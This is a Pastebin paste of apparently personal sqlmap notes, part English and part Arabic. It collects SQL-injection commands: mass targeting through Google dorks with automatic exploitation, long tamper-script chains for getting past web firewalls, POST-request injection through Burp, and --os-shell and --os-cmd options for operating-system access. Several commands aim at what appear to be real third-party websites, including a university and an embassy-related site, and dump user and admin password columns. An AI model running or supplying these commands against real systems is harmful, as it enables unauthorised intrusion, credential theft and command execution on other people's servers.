API tools faq
paste
iscomsa

SQL-Map Pri8

iscomsa
Mar 29th, 2016
716
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.82 KB | None | 0 0
raw download clone embed print report
  1. install python lib on windows :
  2. using : Python Package Manager (PyPM)
  3. go start == search cmd
  4.  
  5. then write :
  6. # pypm install python-ntlm
  7.  
  8. windows
  9. # pip install -r requirements.txt
  10. # pip install SomePackage
  11. #####################################################
  12.  
  13. Running sqlmap with Google Dork :
  14.  
  15. python sqlmap.py -g 'inurl:"article.php?id="' --random-agent --batch --answer="extending=N,follow=N,keep=N,exploit=Y" --dbs --thread 5
  16.  
  17. python sqlmap.py -m simple.txt --random-agent --batch --answer="extending=N,follow=N,keep=N,exploit=Y" --thread 5 --dbs --output-dir="/tmp/data-sqli/"
  18.  
  19. -m: file that contain links need to test.
  20.  
  21. Enumerate DBMS databases:
  22. python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --dbs
  23.  
  24. Dump all DBMS databases tables entries:
  25. python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --dump-all
  26.  
  27. Enumerate DBMS database tables:
  28. python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' -D somedb --tables
  29.  
  30. Dump data from specific database or talbes:
  31. python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' -D somedb -T sometable --dump
  32.  
  33.  
  34. Revershell with sqlmap:
  35. --os-shell: revershsell by upload UDF function (not work with all case)
  36.  
  37. Custom sql query:
  38. --sql-shell: Prompt for an interactive SQL shell (basically you can run any sql query)
  39.  
  40. resource :
  41. https://j3ssiejjj.blogspot.com/2017/11/advanced-sqlmap-metasploit-for-sql.html
  42. ######################################################
  43. Find sql injection :
  44. I initially noticed that the following URLs returned the same page:
  45.  
  46. http://host/script?id=10
  47. http://host/script?id=11-1 # same as id=10
  48. http://host/script?id=(select 10) # same as id=10
  49. http://host/script?id=10 and 1=1 # failed
  50.  
  51. http://host/script?id=10-- # failed
  52. http://host/script?id=10;-- # failed
  53. http://host/script?id=10);-- # failed
  54. http://host/script?id=10)subquery;-- # failed
  55.  
  56. http://host/script?id=11-(case when 1=1 then 1 else 0 end)
  57.  
  58. sqlmap.py -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2
  59. --keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST
  60. -s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
  61.  
  62. sqlmap.py --url "xxxx" --cookie "xxxxxx" -p xxxx --dbs
  63. sqlmap.py --url "xxxx" --cookie "xxxxxx" -p xxxx --dbms "Microsoft SQL Server 2012"
  64. sqlmap.py -u "http://192.168.1.100/fancyshmancy/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2
  65. sqlmap.py -r E:\zj.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1484" --dbs --current-user --current-db --users
  66. sqlmap.py -r E:\ah.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1332" --dbs --current-user --current-db --is-DBA
  67. sqlmap.py --random-agent --time-sec=20 --technique=BEUS --union-char=N --answers="extending=N,skip=Y,follow=N,quite=Y" -u "http://xxxxx/ecem_asso/" --data="xxxxxx --dbs
  68.  
  69. sqlmap.py -r hackme.txt -p txtUserName --dbms=MSSQL --technique=S
  70. sqlmap.py -r hackme.txt -p txtUserName --dbms=MSSQL --technique=S --os-cmd=hostname
  71. sqlmap.py -r hackme.txt -p txtUserName --dbms=MSSQL --technique=S --os-shell
  72.  
  73. --dbms=MSSQL
  74.  
  75. @############################################################
  76.  
  77. sqlmap.py -r search-test.txt -p title --technique=BEUST --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords --dbms=MySQL --dbs --risk 3 --level 3 -v 3 --prefix "'" -s D:\report\client\scan_report.txt --flush-session -t D:\report\client\scan_trace.txt --fresh-queries --batch
  78.  
  79.  
  80. --batch : use the default behaviour, for example: it is not recommended -- [snip] -- Do you want to skip? [Y/n]
  81. In this case 'Y' is default and use --batch option will skip that question and use 'Y'
  82.  
  83.  
  84. SQL Injection and WAF bypass :
  85. sqlmap -u 'http://www.site.com:80/search.cmd?form_state=1’ --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
  86.  
  87.  
  88. General Tamper testing:
  89. tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
  90.  
  91. MSSQL:
  92.  
  93. tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
  94.  
  95. MySQL:
  96. tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
  97.  
  98.  
  99. Oracle :
  100.  
  101. tamper=between,charencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes,xforwardedfor
  102.  
  103. Microsoft Access:
  104. --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekey
  105. words,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentag
  106. e,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2rand
  107. omblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
  108.  
  109. PostgreSQL:
  110.  
  111. --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percent
  112. age,randomcase,securesphere,space2comment,space2plus,space2randomblank,xforwardedfor
  113.  
  114.  
  115. SAP MaxDB :
  116.  
  117. --tamper=ifnull2ifisnull,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,unionalltounion,unmagic
  118. quotes,xforwardedfor
  119.  
  120. SQLite :
  121.  
  122. --tamper=ifnull2ifisnull,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2dash,space2p
  123. lus,unionalltounion,unmagicquotes,xforwardedfor
  124.  
  125. @############################################################
  126.  
  127. اذا فيه فورم نريد نفحصه
  128. Auto detect the forms
  129.  
  130. $ ./sqlmap.py -u http://192.168.60.138 --forms
  131. $ ./sqlmap.py -u http://192.168.60.138 --forms --dbms=MySQL
  132.  
  133. ##########################################################3
  134. حل مشكلة ظهور خطاء sql map connection timed out to the target URL or proxy
  135. نضيف امر --random-agent
  136.  
  137.  
  138. application to connect to DB if you have database config:
  139. HeidiSQL
  140.  
  141.  
  142. proxy sqlmap :
  143.  
  144. C:\sqlmap>sqlmap.py -u http://IP/xxxx/file.php?user_id= --proxy="http://LOCALHOST:8080" --dbs
  145.  
  146. session id :
  147. --cookie"PHPSESSID=sf7bjdnengngobitas5827qu46"
  148. or
  149. --cookie"sf7bjdnengngobitas5827qu46"
  150. ############### POST SQL iNJCTION ##########################3
  151.  
  152. 1. Browse to target site XXXX.COM
  153. 2. Configure Burp proxy, point browser Burp (127.0.0.1:8080) with Burp set to intercept in the proxy tab.
  154. 3. Click on the submit button on the login form
  155. 4. Burp catches the POST request and waits
  156.  
  157. sqlmap.py -r search-test.txt -p tfUPass --technique=BEUST --risk=3 --level=3 --dbs
  158. or
  159. sqlmap.py -r search-test.txt -p ider --dbms=MySQL --technique=BEUST --random-agent --threads 5 --level=5 --risk=3 --delay=1 --timeout=15 --retries=2 --dbs
  160.  
  161. COPY AND put post request from burp suite in search-test.txt
  162.  
  163. tfUPass= the parameter want test it like username=,password=,category,login,tfUPass=XXX ..etc
  164.  
  165.  
  166. how to change technique like blind sql ..etc
  167.  
  168. --technique=BEUST
  169.  
  170. sqlmap.py -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2
  171. --keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST
  172. -s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
  173.  
  174. http://www.it-docs.net/ddata/4956.pdf
  175.  
  176.  
  177.  
  178. Bypass firewall :
  179.  
  180. sqlmap -u 'URL' --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
  181.  
  182.  
  183.  
  184.  
  185. General Tamper testing:
  186. tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
  187.  
  188.  
  189. MSSQL:
  190. tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
  191.  
  192. MySQL:
  193.  
  194. tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
  195.  
  196.  
  197. sqlmap.py -u URL -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"
  198.  
  199. CHANGE tamper TO #
  200.  
  201. apostrophemask.py
  202. # for Replaces apostrophe character with its UTF-8 full width counterpart EX : '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
  203.  
  204. apostrophenullencode.py
  205. # Replaces apostrophe character with its illegal double unicode counterpart EX : '1 AND %271%27=%271'
  206.  
  207. appendnullbyte.py
  208. # Appends encoded NULL byte character at the end of payload EX : '1 AND 1=1'
  209.  
  210. base64encode.py
  211. # Base64 all characters in a given payload EX 'MScgQU5EIFNMRUVQKDUpIw=='
  212.  
  213. between.py
  214. # Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' EX: '1 AND A NOT BETWEEN 0 AND B--'
  215.  
  216. bluecoat.py
  217. # Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
  218. EX : 'SELECT%09id FROM users where id LIKE 1'
  219.  
  220. chardoubleencode.py
  221. # Double url-encodes all characters in a given payload (not processing already encoded) EX : '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
  222.  
  223. charencode.py
  224. # Url-encodes all characters in a given payload (not processing already encoded) EX : '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
  225.  
  226.  
  227. charunicodeencode.py
  228. # Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) EX : '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
  229.  
  230. equaltolike.py
  231. # Replaces all occurances of operator equal ('=') with operator 'LIKE' EX : 'SELECT * FROM users WHERE id LIKE 1'
  232.  
  233.  
  234. greatest.py
  235. # Replaces greater than operator ('>') with 'GREATEST' counterpart EX : '1 AND GREATEST(A,B+1)=A'
  236.  
  237.  
  238. halfversionedmorekeywords.py
  239. # Adds versioned MySQL comment before each keyword EX : "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
  240.  
  241.  
  242.  
  243. ifnull2ifisnull.py
  244. Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' EX : 'IF(ISNULL(1),2,1)'
  245.  
  246.  
  247. modsecurityversioned.py
  248. Embraces complete query with versioned comment # EX : '1 /*!30874AND 2>1*/--'
  249.  
  250.  
  251. modsecurityzeroversioned.py
  252. # Embraces complete query with zero-versioned comment EX : '1 /*!00000AND 2>1*/--'
  253.  
  254.  
  255. multiplespaces.py
  256. # Adds multiple spaces around SQL keywords EX : '1 UNION SELECT foobar'
  257.  
  258.  
  259. nonrecursivereplacement.py
  260. # Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
  261. EX : '1 UNIOUNIONN SELESELECTCT 2--'
  262.  
  263.  
  264. MORE : http://www.forkbombers.com/2013/05/sqlmaps-tamper-scripts.html
  265. ########################################################################################################
  266.  
  267. ############### sqlmap ###################
  268.  
  269. sqlmap -u www.26sep.net/ntopics.php?id=8 --dbms=MySQL --risk=3 --level=3 --drop-set-cookie --random-agent --dbs
  270.  
  271. sqlmap -u http://www.hoduniv.net.ye/center.php?id=1 -D hoduniv --tables
  272. sqlmap -u www.hoduniv.net.ye/center.php?id=1 -D hoduniv -T users -C user_id,user_name,user_type,password --dump --random-agent
  273.  
  274. ---==========----------------============------------------------
  275. #Will check URL to dump DB's with 5 threads.
  276. ./sqlmap -u <url> --dbs --threads 5
  277. --=======================--------------===================-------
  278. ---==========----------------============------------------------
  279. #Will grab Tables from chosen DB's with 5 threads.
  280. ./sqlmap.py -u <url> -D <database> --tables --threads 5
  281. --=======================--------------===================-------
  282. ---============----------===============----------=----------------
  283. #Will grab Colums from chosen database with 5 threads.
  284. ./sqlmap.py -u <url> -D <database> -T <table> --columns --threads 5
  285. --=======================--------------===================-------
  286. -=======----------===============----------------==================----
  287. #Will dump column data.
  288. ./sqlmap.py -u <url> -D <database> -T <table> -U <table> --threads 5 --dump
  289. --=======================--------------===================-------
  290.  
  291.  
  292.  
  293. notes sqlmap more
  294. Hasan Alqawzai 10/14/2015 Keep this message at the top of your inbox
  295. To: lpp@hotmail.com
  296.  
  297. ---==========----------------============------------------------
  298. #Will check URL to dump DB's with 5 threads.
  299. ./sqlmap -u <url> --dbs --threads 5
  300. --=======================--------------===================-------
  301. ---==========----------------============------------------------
  302. #Will grab Tables from chosen DB's with 5 threads.
  303. ./sqlmap.py -u <url> -D <database> --tables --threads 5
  304. --=======================--------------===================-------
  305. ---============----------===============----------=----------------
  306. #Will grab Colums from chosen database with 5 threads.
  307. ./sqlmap.py -u <url> -D <database> -T <table> --columns --threads 5
  308. --=======================--------------===================-------
  309. -=======----------===============----------------==================----
  310. #Will dump column data.
  311. ./sqlmap.py -u <url> -D <database> -T <table> -U <table> --threads 5 --dump
  312. --=======================--------------===================-------
  313.  
  314.  
  315.  
  316.  
  317. python sqlmap.py -u www.exp.com --dbs
  318.  
  319. python sqlmap.py -u www.exp.com -D uwade_data --tables
  320.  
  321. python sqlmap.py -u www.exp.com -D uwade_data -T users --columns
  322.  
  323. python sqlmap.py -u www.exp.com -D uwade_data -T users -C user --dump
  324.  
  325. python sqlmap.py -u www.exp.com -D uwade_data -T users -C password --dump
  326.  
  327.  
  328. http://pastebin.com/C9PB023W
  329. http://pastebin.com/pGQ0z8Wb
  330.  
  331.  
  332. python sqlmap.py -u http://localhost/index.php?id=1337
  333.  
  334. python sqlmap.py -u http://localhost/index.php?id=1337 --dbs
  335. sqlmap -u http://www.amb-inde-bamako.org/newsdetail.php?id=58 -D jadon_eoimali --table
  336. sqlmap -u http://www.amb-inde-bamako.org/newsdetail.php?id=58 -D jadon_eoimali -T eoimali_admin --columns
  337. sqlmap -u http://www.amb-inde-bamako.org/newsdetail.php?id=58 -D jadon_eoimali -T eoimali_admin -C password --dump
  338.  
  339. -u is url website
  340. --dbs to find DataBases
  341. --users to find users
  342.  
  343. --tables Option to enumerate tables with sqlmap.
  344. -D database_name to restrict result to the specified database.
  345.  
  346. --dbs List databases using sqlmap.
  347. --users List database system users using sqlmap.
  348. --is-dba Find Out If Session User Is Database Administrator using sqlmap.
  349. --columns Option to enumerate columns with sqlmap.
  350.  
  351.  
  352.  
  353. python sqlmap.py -u http://localhost/index.php?id=1337 --dbs (and/or) --users
  354.  
  355. python sqlmap.py -u http://localhost/index.php?id=1337 --tables -D database1
  356.  
  357. This tells the program to find tables (--tables) in database (-D) names: database1.
  358. Once you execute this you will find (maybe) tons of tables. Locate the one you want...lets call it admin!
  359.  
  360.  
  361. python sqlmap.py -u http://localhost/index.php?id=1337 -D database1 -T admin
  362.  
  363. python sqlmap.py -u http://localhost/index.php?id=1337 --tables -D database1 --dump-all
  364. python sqlmap.py -u http://localhost/index.php?id=1337 -D database1 -T admin --dump
  365. --dump dumps the selected tables content, --dump-all dumps EVERYTHING!
  366.  
  367. Test POST Parameters Using Sqlmap
  368. python sqlmap.py --data "username=xyz&password=xyz&submit=xyz" -u "http://127.0.0.1:8888/cases/login.php"
  369.  
  370. By default sqlmap tests only GET parameter but you can specify POST parameters you would like to verify. Sqlmap will then test both GET and POST parameters indicated. In order to do so, add the --data option like shown below.
  371.  
  372.  
  373. Sqlmap has a built-in functionality to parse all forms in a webpage and automatically test them. Even though in some cases the scan may not be as efficient as it is when manually indicating all parameters, it is still handy in many situations. Here is the syntax:
  374.  
  375. python sqlmap.py --forms -u "http(s)://target[:port]/[...]/[page]"
  376.  
  377. Parse Forms with sqlmap
  378.  
  379. python sqlmap.py --forms -u "http://synapse:8888/cases/productsCategory.php"
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387. ############################################################
  388. xxx.com/user.php?id=1' AND 1=1 #-BR
  389.  
  390. --suffix="-BR"
  391. وضع قيمة -br في نهاية كل كود اسكيول
  392. --prefix="-BR"
  393. راح يضع في بداية كل كود اسكيول
  394. #######################################################################################################
  395. Usage
  396.  
  397. ./sqlmap.py (-d | -u | -l | -m | -r | -g | -c | --wizard | --update | --dependencies) [options]
  398. Options
  399.  
  400. Version, help, verbosity
  401.  
  402. --version
  403. show program's version number and exit
  404. -h, --help
  405. show this help message and exit
  406. -v VERBOSE
  407. Verbosity level: 0-6 (default 1)
  408. Target
  409.  
  410. At least one of these options has to be specified to set the source to get target urls from.
  411.  
  412. -d DIRECT Direct connection to the database
  413. -u URL, --url=URL Target url
  414. -l LIST Parse targets from Burp or WebScarab proxy logs
  415. -r REQUESTFILE Load HTTP request from a file
  416. -g GOOGLEDORK Process Google dork results as target urls
  417. -c CONFIGFILE Load options from a configuration INI file
  418. Request
  419.  
  420. These options can be used to specify how to connect to the target url.
  421.  
  422. --data=DATA Data string to be sent through POST
  423. --cookie=COOKIE HTTP Cookie header
  424. --cookie-urlencode URL Encode generated cookie injections
  425. --drop-set-cookie Ignore Set-Cookie header from response
  426. --user-agent=AGENT HTTP User-Agent header
  427. --random-agent Use randomly selected HTTP User-Agent header
  428. --referer=REFERER HTTP Referer header
  429. --headers=HEADERS Extra HTTP headers newline separated
  430. --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
  431. --auth-cred=ACRED HTTP authentication credentials (name:password)
  432. --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
  433. --proxy=PROXY Use a HTTP proxy to connect to the target url
  434. --proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
  435. --ignore-proxy Ignore system default HTTP proxy
  436. --delay=DELAY Delay in seconds between each HTTP request
  437. --timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
  438. --retries=RETRIES Retries when the connection timeouts (default 3)
  439. --scope=SCOPE Regexp to filter targets from provided proxy log
  440. --safe-url=SAFURL Url address to visit frequently during testing
  441. --safe-freq=SAFREQ Test requests between two visits to a given safe url
  442. Optimization
  443.  
  444. These options can be used to optimize the performance of sqlmap.
  445.  
  446. -o Turn on all optimization switches
  447. --predict-output Predict common queries output
  448. --keep-alive Use persistent HTTP(s) connections
  449. --null-connection Retrieve page length without actual HTTP response body
  450. --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
  451. Injection
  452.  
  453. These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.
  454.  
  455. -p TESTPARAMETER Testable parameter(s)
  456. --dbms=DBMS Force back-end DBMS to this value
  457. --os=OS Force back-end DBMS operating system to this value
  458. --prefix=PREFIX Injection payload prefix string
  459. --suffix=SUFFIX Injection payload suffix string
  460. --tamper=TAMPER Use given script(s) for tampering injection data
  461. Detection
  462.  
  463. These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique.
  464.  
  465. --level=LEVEL Level of tests to perform (1-5, default 1)
  466. --risk=RISK Risk of tests to perform (0-3, default 1)
  467. --string=STRING String to match in page when the query is valid
  468. --regexp=REGEXP Regexp to match in page when the query is valid
  469. --text-only Compare pages based only on the textual content
  470. Techniques
  471.  
  472. These options can be used to tweak testing of specific SQL injection techniques.
  473.  
  474. --technique=TECH SQL injection techniques to test for (default BEUST)
  475. --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
  476. --union-cols=UCOLS Range of columns to test for UNION query SQL injection
  477. --union-char=UCHAR Character to use for bruteforcing number of columns
  478. Fingerprint
  479.  
  480. -f, --fingerprint Perform an extensive DBMS version fingerprint
  481. Enumeration
  482.  
  483. These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
  484.  
  485. -b, --banner Retrieve DBMS banner
  486. --current-user Retrieve DBMS current user
  487. --current-db Retrieve DBMS current database
  488. --is-dba Detect if the DBMS current user is DBA
  489. --users Enumerate DBMS users
  490. --passwords Enumerate DBMS users password hashes
  491. --privileges Enumerate DBMS users privileges
  492. --roles Enumerate DBMS users roles
  493. --dbs Enumerate DBMS databases
  494. --tables Enumerate DBMS database tables
  495. --columns Enumerate DBMS database table columns
  496. --dump Dump DBMS database table entries
  497. --dump-all Dump all DBMS databases tables entries
  498. --search Search column(s), table(s) and/or database name(s)
  499. -D DB DBMS database to enumerate
  500. -T TBL DBMS database table to enumerate
  501. -C COL DBMS database table column to enumerate
  502. -U USER DBMS user to enumerate
  503. --exclude-sysdbs Exclude DBMS system databases when enumerating tables
  504. --start=LIMITSTART First query output entry to retrieve
  505. --stop=LIMITSTOP Last query output entry to retrieve
  506. --first=FIRSTCHAR First query output word character to retrieve
  507. --last=LASTCHAR Last query output word character to retrieve
  508. --sql-query=QUERY SQL statement to be executed
  509. --sql-shell Prompt for an interactive SQL shell
  510. Brute force
  511.  
  512. These options can be used to run brute force checks.
  513.  
  514. --common-tables Check existence of common tables
  515. --common-columns Check existence of common columns
  516. User-defined function injection
  517.  
  518. These options can be used to create custom user-defined functions.
  519.  
  520. --udf-inject Inject custom user-defined functions
  521. --shared-lib=SHLIB Local path of the shared library
  522. File system access
  523.  
  524. These options can be used to access the back-end database management system underlying file system.
  525.  
  526. --file-read=RFILE Read a file from the back-end DBMS file system
  527. --file-write=WFILE Write a local file on the back-end DBMS file system
  528. --file-dest=DFILE Back-end DBMS absolute filepath to write to
  529. Operating system access
  530.  
  531. These options can be used to access the back-end database management system underlying operating system.
  532.  
  533. --os-cmd=OSCMD Execute an operating system command
  534. --os-shell Prompt for an interactive operating system shell
  535. --os-pwn Prompt for an out-of-band shell, meterpreter or VNC
  536. --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
  537. --os-bof Stored procedure buffer overflow exploitation
  538. --priv-esc Database process' user privilege escalation
  539. --msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
  540. --tmp-path=TMPPATH Remote absolute path of temporary files directory
  541. Windows registry access
  542.  
  543. These options can be used to access the back-end database management system Windows registry.
  544.  
  545. --reg-read Read a Windows registry key value
  546. --reg-add Write a Windows registry key value data
  547. --reg-del Delete a Windows registry key value
  548. --reg-key=REGKEY Windows registry key
  549. --reg-value=REGVAL Windows registry key value
  550. --reg-data=REGDATA Windows registry key value data
  551. --reg-type=REGTYPE Windows registry key value type
  552. General
  553.  
  554. These options can be used to set some general working parameters.
  555.  
  556. -t TRAFFICFILE Log all HTTP traffic into a textual file
  557. -s SESSIONFILE Save and resume all data retrieved on a session file
  558. --flush-session Flush session file for current target
  559. --fresh-queries Ignores query results stored in session file
  560. --eta Display for each output the estimated time of arrival
  561. --update Update sqlmap
  562. --save Save options on a configuration INI file
  563. --batch Never ask for user input, use the default behaviour
  564. Miscellaneous
  565.  
  566. --beep Alert when sql injection found
  567. --check-payload IDS detection testing of injection payloads
  568. --cleanup Clean up the DBMS by sqlmap specific UDF and tables
  569. --forms Parse and test forms on target url
  570. --gpage=GOOGLEPAGE Use Google dork results from specified page number
  571. --page-rank Display page rank (PR) for Google dork results
  572. --parse-errors Parse DBMS error messages from response pages
  573. --replicate Replicate dumped data into a sqlite3 database
  574. --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address
  575. --wizard Simple wizard interface for beginner user
  576. ##########################################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!